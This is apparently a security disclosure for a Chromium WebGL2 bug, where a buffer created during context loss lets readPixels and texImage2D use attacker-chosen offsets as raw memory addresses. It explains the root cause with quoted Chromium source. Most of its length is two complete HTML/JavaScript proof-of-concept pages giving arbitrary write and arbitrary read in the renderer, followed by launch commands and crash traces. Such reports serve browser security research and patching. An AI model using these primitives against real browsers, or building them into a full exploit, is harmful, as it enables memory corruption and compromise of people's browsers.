Arbitrary Memory Read/Write via WebGLBuffer Created During Context Loss Combined with PBO Operations

Summary

A state synchronization failure exists between Blink and the GPU command decoder when handling WebGLBuffer objects created during context loss. When a buffer is created while the WebGL context is lost, its internal GL buffer ID remains zero. After context restoration, binding this zombie buffer to PIXEL_PACK_BUFFER or PIXEL_UNPACK_BUFFER causes Blink to believe a PBO is bound while the GPU layer sees no buffer. This enables two complementary attack primitives: calling readPixels with an offset parameter results in arbitrary memory writes, while calling texImage2D with an offset parameter results in arbitrary memory reads. Together these provide a complete read/write primitive in the renderer process where the attacker controls the addresses, content, and lengths.

Bisect

The vulnerability has existed since the introduction of WebGL2 with Pixel Buffer Object support. The lack of validation for WebGLBuffer::HasObject() in the readPixels and texImage2D PBO paths has been present since the initial implementation.

PBO readPixels support: 05cdea84b962a (WebGL 2: add readPixels API to read pixels into pixel pack buffer)

• Date: 2015-09-02
• Author: [email protected]
• Review: https://codereview.chromium.org/1300573002

PBO texImage2D support: 96c5d1c0d42d4 (Add WebGL 2 functions texImage2D/texImage3D with unpack buffer.)

• Date: 2016-02-23
• Author: [email protected]

Root Cause

The vulnerability originates from how WebGLBuffer objects are constructed when the context is in a lost state. In the WebGLBuffer constructor, the GL buffer is only generated when the context is not lost.

// third_party/blink/renderer/modules/webgl/webgl_buffer.cc
WebGLBuffer::WebGLBuffer(WebGLContextObjectSupport* ctx)
    : WebGLObject(ctx), initial_target_(0), size_(0) {
  if (!ctx->IsLost()) {
    GLuint buffer;
    ctx->ContextGL()->GenBuffers(1, &buffer);
    SetObject(buffer);
  }
}

When the context is lost, SetObject is never called, leaving the internal object_ member at its default value of zero. The createBuffer function does not check isContextLost before instantiating the buffer, allowing the creation of these zombie buffers.

When the context is restored and this zombie buffer is bound to PIXEL_PACK_BUFFER or PIXEL_UNPACK_BUFFER, the binding succeeds at the Blink level. The bound buffer member is set to the non-null WebGLBuffer pointer. However, the actual GL binding uses ObjectOrZero which returns zero, effectively binding no buffer at the GPU layer.

A crucial detail enables exploitation with arbitrary addresses. In BufferDataImpl, the buffer size is set before the GL call executes.

// third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
void WebGLRenderingContextBase::BufferDataImpl(GLenum target,
                                               int64_t size,
                                               const void* data,
                                               GLenum usage) {
  WebGLBuffer* buffer = ValidateBufferDataTarget("bufferData", target);
  if (!buffer)
    return;
  // ...
  buffer->SetSize(size);  // Size set BEFORE GL call
  ContextGL()->BufferData(target, static_cast<GLsizeiptr>(size), data, usage);
}

This means even though the GPU-side BufferData fails because no buffer is bound, the Blink-side size_ is already updated. By calling bufferData with a size larger than the intended attack offset, the validation check passes, allowing subsequent operations to proceed to the GPU layer.

Arbitrary Write via readPixels

The readPixels function that accepts an offset parameter only verifies that bound_pixel_pack_buffer_ is non-null, without checking whether the buffer has a valid GL object.

// third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc
void WebGL2RenderingContextBase::readPixels(GLint x, GLint y,
                                            GLsizei width, GLsizei height,
                                            GLenum format, GLenum type,
                                            int64_t offset) {
  // ...
  WebGLBuffer* buffer = bound_pixel_pack_buffer_.Get();
  if (!buffer) {
    SynthesizeGLError(GL_INVALID_OPERATION, "readPixels",
                      "no PIXEL_PACK buffer bound");
    return;
  }
  // No check for buffer->HasObject()!
  ContextGL()->ReadPixels(x, y, width, height, format, type,
                          reinterpret_cast<void*>(offset));
}

In GLES2Implementation::ReadPixels, the bound_pixel_pack_buffer_ check uses the actual GL buffer ID which is zero.

// gpu/command_buffer/client/gles2_implementation.cc
if (bound_pixel_pack_buffer_) {
  helper_->ReadPixels(..., offset.ValueOrDefault(0), ...);
  return;
}
// No PBO path: treat pixels as real pointer
int8_t* dest = reinterpret_cast<int8_t*>(pixels);
// ...
UNSAFE_TODO(memcpy(dest, src, copy_size));

Since bound_pixel_pack_buffer_ is zero at the GPU layer, the code falls through to the non-PBO path where it interprets the offset value as an actual memory address and performs a memcpy to that address.

Arbitrary Read via texImage2D

Similarly, the texImage2D function that accepts an offset parameter only verifies that bound_pixel_unpack_buffer_ is non-null.

// third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc
void WebGL2RenderingContextBase::texImage2D(GLenum target, GLint level,
                                            GLint internalformat,
                                            GLsizei width, GLsizei height,
                                            GLint border, GLenum format,
                                            GLenum type, int64_t offset) {
  // ...
  if (!bound_pixel_unpack_buffer_) {
    SynthesizeGLError(GL_INVALID_OPERATION, "texImage2D",
                      "no bound PIXEL_UNPACK_BUFFER");
    return;
  }
  // No check for buffer->HasObject()!
  ContextGL()->TexImage2D(..., reinterpret_cast<const void*>(offset));
}

In GLES2Implementation::TexImage2D, the bound_pixel_unpack_buffer_ check uses the actual GL buffer ID which is zero.

// gpu/command_buffer/client/gles2_implementation.cc
if (bound_pixel_unpack_buffer_) {
  helper_->TexImage2D(..., offset.ValueOrDefault(0));
  return;
}
// No PBO path: treat pixels as real pointer, advance and copy
pixels = UNSAFE_TODO(reinterpret_cast<const int8_t*>(pixels) + skip_size);
// ...
CopyRectToBuffer(pixels, height, unpadded_row_size, padded_row_size,
                 buffer_pointer, service_padded_row_size);

Since bound_pixel_unpack_buffer_ is zero at the GPU layer, the code falls through to the non-PBO path where it interprets the offset value as an actual memory address and reads data from that address.

Reproduce

Arbitrary Write PoC

Save the following HTML file and open it in Chrome with ASAN enabled.

<!DOCTYPE html>
<html>
<head>
<title>WebGL PBO Arbitrary Write PoC</title>
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
pre { white-space: pre-wrap; }
.error { color: #f00; }
.warn { color: #ff0; }
.success { color: #0ff; }
</style>
</head>
<body>
<h2>WebGL2 PBO Context Lost Arbitrary Write PoC</h2>
<canvas id="canvas" width="64" height="64"></canvas>
<pre id="log"></pre>

<script>
const logEl = document.getElementById('log');
function log(msg, type = '') {
    const line = document.createElement('span');
    line.className = type;
    line.textContent = msg + '\n';
    logEl.appendChild(line);
    console.log(msg);
}

async function main() {
    log('=== WebGL2 PBO Arbitrary Write Vulnerability PoC ===\n');

    const canvas = document.getElementById('canvas');
    const gl = canvas.getContext('webgl2');

    if (!gl) {
        log('ERROR: WebGL2 not available', 'error');
        return;
    }
    log('[1] WebGL2 context created', 'success');

    const loseContextExt = gl.getExtension('WEBGL_lose_context');
    if (!loseContextExt) {
        log('ERROR: WEBGL_lose_context extension not available', 'error');
        return;
    }
    log('[2] WEBGL_lose_context extension acquired', 'success');

    let zombieBuffer = null;

    canvas.addEventListener('webglcontextlost', (e) => {
        log('\n[EVENT] webglcontextlost fired');
        e.preventDefault();
        log('  preventDefault() called - context can be restored');

        zombieBuffer = gl.createBuffer();
        log('  Created zombie buffer during context lost: ' + zombieBuffer);
        log('  Internal GL buffer ID should be 0 (not generated)', 'warn');

        setTimeout(() => {
            log('\n[3] Calling restoreContext()...');
            loseContextExt.restoreContext();
        }, 100);
    });

    canvas.addEventListener('webglcontextrestored', async (e) => {
        log('\n[EVENT] webglcontextrestored fired', 'success');

        if (!zombieBuffer) {
            log('ERROR: zombieBuffer is null', 'error');
            return;
        }

        log('\n[4] Context restored - zombie buffer still exists');
        log('  zombieBuffer object: ' + zombieBuffer);

        log('\n[5] Binding zombie buffer to PIXEL_PACK_BUFFER...');
        gl.bindBuffer(gl.PIXEL_PACK_BUFFER, zombieBuffer);

        let err = gl.getError();
        if (err !== gl.NO_ERROR) {
            log('  bindBuffer error: 0x' + err.toString(16), 'error');
            return;
        }
        log('  bindBuffer succeeded (Blink thinks PBO is bound)', 'success');
        log('  But GPU layer has bound_pixel_pack_buffer_ = 0!', 'warn');

        const bufferSize = 0x50000000;
        log('\n[6] Calling bufferData to set size = 0x' + bufferSize.toString(16) + ' (' + bufferSize + ')');
        gl.bufferData(gl.PIXEL_PACK_BUFFER, bufferSize, gl.STREAM_READ);

        err = gl.getError();
        log('  bufferData result: ' + (err === gl.NO_ERROR ? 'NO_ERROR' : 'GL_ERROR 0x' + err.toString(16)));

        log('\n[7] Drawing pattern to framebuffer (attacker-controlled data)');
        gl.clearColor(0.5, 0.25, 0.75, 1.0);
        gl.clear(gl.COLOR_BUFFER_BIT);

        const attackAddr = 0x41414141;

        log('\n[8] Attempting readPixels with offset = 0x' + attackAddr.toString(16), 'warn');
        log('  Blink: PBO bound, offset = 0x' + attackAddr.toString(16));
        log('  GPU: No PBO, pixels = (void*)0x' + attackAddr.toString(16) + ' <- ARBITRARY WRITE!', 'error');

        try {
            log('\n[9] Calling gl.readPixels(0, 0, 4, 4, RGBA, UNSIGNED_BYTE, 0x' + attackAddr.toString(16) + ')');
            gl.readPixels(0, 0, 4, 4, gl.RGBA, gl.UNSIGNED_BYTE, attackAddr);

            err = gl.getError();
            if (err === gl.NO_ERROR) {
                log('  readPixels returned NO_ERROR', 'warn');
                log('  VULNERABILITY CONFIRMED: GPU tried to write to address 0x' + attackAddr.toString(16), 'error');
            } else {
                log('  readPixels returned GL_ERROR: 0x' + err.toString(16));
            }
        } catch (e) {
            log('  Exception: ' + e, 'error');
            log('  (Crash expected - GPU tried to memcpy to 0x' + attackAddr.toString(16) + ')', 'warn');
        }

        log('\n=== Summary ===');
        log('The vulnerability allows arbitrary memory writes in the renderer process:');
        log('1. Create WebGLBuffer during context lost -> object_ = 0');
        log('2. Restore context, bind zombie buffer to PIXEL_PACK_BUFFER');
        log('3. Blink thinks PBO is bound, GPU thinks no PBO');
        log('4. readPixels(offset) -> GPU does memcpy to (void*)offset');
        log('5. Attacker controls: write address (offset), data (pixels), length (w*h*4)');
    });

    log('\n[3] Triggering context loss...');
    loseContextExt.loseContext();
}

main().catch(e => log('Error: ' + e, 'error'));
</script>
</body>
</html>

Run Chrome with ASAN enabled.

export ASAN_OPTIONS="detect_odr_violation=0"
./out/asan-release/chrome \
    --no-sandbox \
    --user-data-dir=/tmp/webgl_pbo_test \
    --disable-extensions \
    --no-first-run \
    --enable-logging=stderr \
    "file:///path/to/poc_write.html"

The following output demonstrates the arbitrary write vulnerability being triggered.

[1021508:1021508:0220/114011.246986:INFO:CONSOLE:25] "[1] WebGL2 context created", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.247320:INFO:CONSOLE:25] "[2] WEBGL_lose_context extension acquired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.247479:INFO:CONSOLE:25] "
[3] Triggering context loss...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289547:INFO:CONSOLE:25] "
[EVENT] webglcontextlost fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289705:INFO:CONSOLE:25] "  preventDefault() called - context can be restored", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289846:INFO:CONSOLE:25] "  Created zombie buffer during context lost: [object WebGLBuffer]", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289969:INFO:CONSOLE:25] "  Internal GL buffer ID should be 0 (not generated)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.391774:INFO:CONSOLE:25] "
[3] Calling restoreContext()...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.597957:INFO:CONSOLE:25] "
[EVENT] webglcontextrestored fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.598287:INFO:CONSOLE:25] "
[5] Binding zombie buffer to PIXEL_PACK_BUFFER...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.798587:INFO:CONSOLE:25] "  bindBuffer succeeded (Blink thinks PBO is bound)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.798801:INFO:CONSOLE:25] "  But GPU layer has bound_pixel_pack_buffer_ = 0!", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.798964:INFO:CONSOLE:25] "
[6] Calling bufferData to set size = 0x50000000 (1342177280)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021547:1021547:0220/114011.809697:ERROR:gpu/command_buffer/service/gl_utils.cc:427] [.WebGL-0x7da0b4f2fa80] GL_INVALID_OPERATION: glBufferData: A buffer must be bound.
[1021508:1021508:0220/114011.810908:INFO:CONSOLE:25] "  bufferData result: GL_ERROR 0x502", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.811259:INFO:CONSOLE:25] "
[8] Attempting readPixels with offset = 0x41414141", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.811806:INFO:CONSOLE:25] "
[9] Calling gl.readPixels(0, 0, 4, 4, RGBA, UNSIGNED_BYTE, 0x41414141)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
Received signal 11 SEGV_MAPERR 000041414141
#0 0x55dfa0b56006 (/home/user/chromium/src/out/asan-release/chrome+0x6791005)
#1 0x7ff13375eb72 (/home/user/chromium/src/out/asan-release/libbase.so+0x75eb71)
#2 0x7ff1337043e3 (/home/user/chromium/src/out/asan-release/libbase.so+0x7043e2)
#3 0x7ff13375de0b (/home/user/chromium/src/out/asan-release/libbase.so+0x75de0a)
#4 0x7ff0c2e42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#5 0x7ff0c2ec49fb (/usr/lib/x86_64-linux-gnu/libc.so.6+0xc49fa)
#6 0x55dfa0bae23c (/home/user/chromium/src/out/asan-release/chrome+0x67e923b)
#7 0x7ff0c5b18ac5 (/home/user/chromium/src/out/asan-release/libgpu_command_buffer_client_gles2_implementation.so+0xbfac4)
#8 0x7ff0cb70ec53 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x4d0ec52)
#9 0x7ff0c96a6262 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x2ca6261)
#10 0x7bf096c106a4 <unknown>
  r8: 0000000008282828  r9: 0000000041414180 r10: 0000000008282830 r11: 000000008827a828
 r12: 000000008827a830 r13: ffffffffffffffff r14: 0000000000000040 r15: 00000f7e967e9d00
  di: 0000000041414141  si: 00007bf0004a4040  bp: 00007ffece9eaa30  bx: 0000000000000000
  dx: 0000000000000040  ax: 0000000041414141  cx: 000000008827a830  sp: 00007ffece9ea1e8
  ip: 00007ff0c2ec49fb efl: 0000000000010246 cgf: 002b000000000033 erf: 0000000000000006
 trp: 000000000000000e msk: 0000000000000000 cr2: 0000000041414141
[end of stack trace]

The crash at cr2: 0000000041414141 with erf: 0000000000000006 confirms that the GPU layer attempted to write to the attacker-controlled address 0x41414141.

Arbitrary Read PoC

Save the following HTML file and open it in Chrome with ASAN enabled.

<!DOCTYPE html>
<html>
<head>
<title>WebGL PBO Arbitrary Read PoC</title>
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
pre { white-space: pre-wrap; }
.error { color: #f00; }
.warn { color: #ff0; }
.success { color: #0ff; }
</style>
</head>
<body>
<h2>WebGL2 PBO Context Lost Arbitrary Read PoC</h2>
<canvas id="canvas" width="64" height="64"></canvas>
<pre id="log"></pre>

<script>
const logEl = document.getElementById('log');
function log(msg, type = '') {
    const line = document.createElement('span');
    line.className = type;
    line.textContent = msg + '\n';
    logEl.appendChild(line);
    console.log(msg);
}

async function main() {
    log('=== WebGL2 PBO Arbitrary Read Vulnerability PoC ===\n');

    const canvas = document.getElementById('canvas');
    const gl = canvas.getContext('webgl2');

    if (!gl) {
        log('ERROR: WebGL2 not available', 'error');
        return;
    }
    log('[1] WebGL2 context created', 'success');

    const loseContextExt = gl.getExtension('WEBGL_lose_context');
    if (!loseContextExt) {
        log('ERROR: WEBGL_lose_context extension not available', 'error');
        return;
    }
    log('[2] WEBGL_lose_context extension acquired', 'success');

    let zombieBuffer = null;

    canvas.addEventListener('webglcontextlost', (e) => {
        log('\n[EVENT] webglcontextlost fired');
        e.preventDefault();
        log('  preventDefault() called - context can be restored');

        zombieBuffer = gl.createBuffer();
        log('  Created zombie buffer during context lost: ' + zombieBuffer);
        log('  Internal GL buffer ID should be 0 (not generated)', 'warn');

        setTimeout(() => {
            log('\n[3] Calling restoreContext()...');
            loseContextExt.restoreContext();
        }, 100);
    });

    canvas.addEventListener('webglcontextrestored', async (e) => {
        log('\n[EVENT] webglcontextrestored fired', 'success');

        if (!zombieBuffer) {
            log('ERROR: zombieBuffer is null', 'error');
            return;
        }

        log('\n[4] Context restored - zombie buffer still exists');
        log('  zombieBuffer object: ' + zombieBuffer);

        log('\n[5] Binding zombie buffer to PIXEL_UNPACK_BUFFER...');
        gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, zombieBuffer);

        let err = gl.getError();
        if (err !== gl.NO_ERROR) {
            log('  bindBuffer error: 0x' + err.toString(16), 'error');
            return;
        }
        log('  bindBuffer succeeded (Blink thinks PBO is bound)', 'success');
        log('  But GPU layer has bound_pixel_unpack_buffer_ = 0!', 'warn');

        const bufferSize = 0x50000000;
        log('\n[6] Calling bufferData to set size = 0x' + bufferSize.toString(16));
        gl.bufferData(gl.PIXEL_UNPACK_BUFFER, bufferSize, gl.STREAM_READ);

        err = gl.getError();
        log('  bufferData result: ' + (err === gl.NO_ERROR ? 'NO_ERROR' : 'GL_ERROR 0x' + err.toString(16)));

        log('\n[7] Creating texture for upload...');
        const texture = gl.createTexture();
        gl.bindTexture(gl.TEXTURE_2D, texture);

        const attackAddr = 0x41414141;

        log('\n[8] Attempting texImage2D with offset = 0x' + attackAddr.toString(16), 'warn');
        log('  Blink: PBO bound, offset = 0x' + attackAddr.toString(16));
        log('  GPU: No PBO, pixels = (void*)0x' + attackAddr.toString(16) + ' <- ARBITRARY READ!', 'error');

        try {
            log('\n[9] Calling gl.texImage2D(TEXTURE_2D, 0, RGBA, 4, 4, 0, RGBA, UNSIGNED_BYTE, 0x' + attackAddr.toString(16) + ')');
            gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 4, 4, 0, gl.RGBA, gl.UNSIGNED_BYTE, attackAddr);

            err = gl.getError();
            if (err === gl.NO_ERROR) {
                log('  texImage2D returned NO_ERROR', 'warn');
                log('  VULNERABILITY CONFIRMED: GPU tried to read from address 0x' + attackAddr.toString(16), 'error');
            } else {
                log('  texImage2D returned GL_ERROR: 0x' + err.toString(16));
            }
        } catch (e) {
            log('  Exception: ' + e, 'error');
            log('  (Crash expected - GPU tried to read from 0x' + attackAddr.toString(16) + ')', 'warn');
        }

        log('\n=== Summary ===');
        log('The vulnerability allows arbitrary memory reads in the renderer process:');
        log('1. Create WebGLBuffer during context lost -> object_ = 0');
        log('2. Restore context, bind zombie buffer to PIXEL_UNPACK_BUFFER');
        log('3. Blink thinks PBO is bound, GPU thinks no PBO');
        log('4. texImage2D(offset) -> GPU does CopyRectToBuffer from (void*)offset');
        log('5. Attacker controls: read address (offset), read length (w*h*4)');
        log('6. Combined with readPixels, this enables full read/write primitive');
    });

    log('\n[3] Triggering context loss...');
    loseContextExt.loseContext();
}

main().catch(e => log('Error: ' + e, 'error'));
</script>
</body>
</html>

Run Chrome with ASAN enabled.

export ASAN_OPTIONS="detect_odr_violation=0"
./out/asan-release/chrome \
    --no-sandbox \
    --user-data-dir=/tmp/webgl_pbo_test \
    --disable-extensions \
    --no-first-run \
    --enable-logging=stderr \
    "file:///path/to/poc_read.html"

The following output demonstrates the arbitrary read vulnerability being triggered.

[1023209:1023209:0220/114833.924771:INFO:CONSOLE:25] "[1] WebGL2 context created", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.924947:INFO:CONSOLE:25] "[2] WEBGL_lose_context extension acquired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.925045:INFO:CONSOLE:25] "
[3] Triggering context loss...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.952744:INFO:CONSOLE:25] "
[EVENT] webglcontextlost fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.952920:INFO:CONSOLE:25] "  preventDefault() called - context can be restored", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.953114:INFO:CONSOLE:25] "  Created zombie buffer during context lost: [object WebGLBuffer]", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.953236:INFO:CONSOLE:25] "  Internal GL buffer ID should be 0 (not generated)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.054936:INFO:CONSOLE:25] "
[3] Calling restoreContext()...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.273765:INFO:CONSOLE:25] "
[EVENT] webglcontextrestored fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.275367:INFO:CONSOLE:25] "
[5] Binding zombie buffer to PIXEL_UNPACK_BUFFER...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.475592:INFO:CONSOLE:25] "  bindBuffer succeeded (Blink thinks PBO is bound)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.475814:INFO:CONSOLE:25] "  But GPU layer has bound_pixel_unpack_buffer_ = 0!", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.476028:INFO:CONSOLE:25] "
[6] Calling bufferData to set size = 0x50000000", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023298:1023298:0220/114834.487163:ERROR:gpu/command_buffer/service/gl_utils.cc:427] [.WebGL-0x7cce1372fa80] GL_INVALID_OPERATION: glBufferData: A buffer must be bound.
[1023209:1023209:0220/114834.488303:INFO:CONSOLE:25] "  bufferData result: GL_ERROR 0x502", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.488432:INFO:CONSOLE:25] "
[7] Creating texture for upload...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.488827:INFO:CONSOLE:25] "
[8] Attempting texImage2D with offset = 0x41414141", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.489462:INFO:CONSOLE:25] "
[9] Calling gl.texImage2D(TEXTURE_2D, 0, RGBA, 4, 4, 0, RGBA, UNSIGNED_BYTE, 0x41414141)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
Received signal 11 SEGV_MAPERR 000041414141
#0 0x55daa47e2006 (/home/user/chromium/src/out/asan-release/chrome+0x6791005)
#1 0x7f1e91f5eb72 (/home/user/chromium/src/out/asan-release/libbase.so+0x75eb71)
#2 0x7f1e91f043e3 (/home/user/chromium/src/out/asan-release/libbase.so+0x7043e2)
#3 0x7f1e91f5de0b (/home/user/chromium/src/out/asan-release/libbase.so+0x75de0a)
#4 0x7f1e21642520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#5 0x7f1e216c4881 (/usr/lib/x86_64-linux-gnu/libc.so.6+0xc4880)
#6 0x55daa483a23c (/home/user/chromium/src/out/asan-release/chrome+0x67e923b)
#7 0x7f1e243076ba (/home/user/chromium/src/out/asan-release/libgpu_command_buffer_client_gles2_implementation.so+0xae6b9)
#8 0x7f1e29f10753 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x4d10752)
#9 0x7f1e27eac9d8 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x2cac9d7)
#10 0x7b19f53d06a4 <unknown>
  r8: 00000f632b587808  r9: 00007b195ac3c07f r10: 00000f632b58780f r11: 00000f63ab57f808
 r12: 00000f63ab57f808 r13: ffffffffffffffff r14: 00007b195ac3c040 r15: 00007b1e126d1000
  di: 00007b195ac3c040  si: 0000000041414141  bp: 00007ffd90ed0730  bx: 0000000000000000
  dx: 0000000000000040  ax: 00007b195ac3c040  cx: 00000f63ab57f80f  sp: 00007ffd90ecfee8
  ip: 00007f1e216c4881 efl: 0000000000010206 cgf: 002b000000000033 erf: 0000000000000004
 trp: 000000000000000e msk: 0000000000000000 cr2: 0000000041414141
[end of stack trace]

The crash at cr2: 0000000041414141 with erf: 0000000000000004 confirms that the GPU layer attempted to read from the attacker-controlled address 0x41414141. Note the difference in erf values between read (0x04) and write (0x06) operations.

Together, these two vulnerabilities provide a complete arbitrary read/write primitive in the renderer process. The attacker controls the target address via the offset parameter, the read/write length via the width and height parameters, and for writes, the data content via framebuffer pixels controlled through drawing operations.

Credit

c6eed09fc8b174b0f3eebedcceb1e792